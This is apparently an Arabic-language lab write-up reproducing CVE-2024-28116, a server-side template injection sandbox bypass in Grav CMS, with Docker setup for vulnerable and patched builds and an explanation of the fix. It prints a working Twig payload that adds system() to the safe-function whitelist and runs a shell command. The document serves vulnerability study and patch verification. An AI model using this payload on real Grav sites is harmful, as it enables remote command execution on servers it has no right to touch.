
تحليل وإعادة إنتاج عبر Docker لثغرة CVE-2024-28116 - SSTI مع تجاوز الصندوق الرملي (sandbox) في Grav CMS
تحليل وإعادة إنتاج عبر Docker لثغرة CVE-2024-28116، وهي ثغرة حقن القوالب من جانب الخادم (Server-Side Template Injection) مع تجاوز الحماية الرملية الأمنية في Grav CMS حتى الإصدار 1.7.44 وما يشملها، وتم إصلاحها في الإصدار 1.7.45.
المُبلِّغ: Maurizio Siddu (akabe1)
درجة CVSS v3.1: 8.8 (عالية)
تم التصحيح في: Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
افتح متصفحك على http://localhost:8080/admin وأنشئ حساب مسؤول عند أول دخول.
http://localhost:8080/admintest page، ثم انقر Continue{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-pageوهذا يؤكد تنفيذ الأوامر عن بُعد (RCE) بصلاحيات مستخدم خادم الويب.
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
افتح متصفحك على http://localhost:8081/admin وأعد تنفيذ جميع خطوات الاستغلال السابقة، مستهدفاً http://localhost:8081/test-page.
ستكون الصفحة فارغة تماماً. تكتشف طريقة cleanDangerousTwig() في Security.php توجيه twig.safe_functions وتحجبه قبل وصوله إلى محرك Twig. لا يتم تعديل القائمة البيضاء أبداً ولا يتم تنفيذ الأمر أبداً.
تقع الثغرة في system/src/Grav/Common/Twig.php. يطبّق Grav حماية رملية (sandbox) لمنع استدعاء دوال PHP الخطيرة داخل قوالب Twig، بناءً على قائمة سوداء يفحصها isDangerousFunction(). ومع ذلك، لا تحمي الحماية الرملية كائن Twig نفسه. يمكن لمستخدم بمستوى محرر التفاعل مع كائن Twig عبر توجيهات قوالب مصممة بعناية واستبدال القائمة البيضاء system.twig.safe_functions في وقت التشغيل. وبمجرد إضافة دالة خطيرة مثل system() إلى القائمة البيضاء، يتم تجاوز فحص الحماية الرملية وتُنفَّذ الدالة بحرية.
يضيف التصحيح 'twig.safe_functions' إلى قائمة الأنماط المحجوبة داخل طريقة cleanDangerousTwig() في system/src/Grav/Common/Security.php. يتم تحييد أي توجيه يحتوي على هذه السلسلة قبل وصوله إلى محرك Twig، ما يجعل من المستحيل على المحرر تعديل القائمة البيضاء من داخل قالب.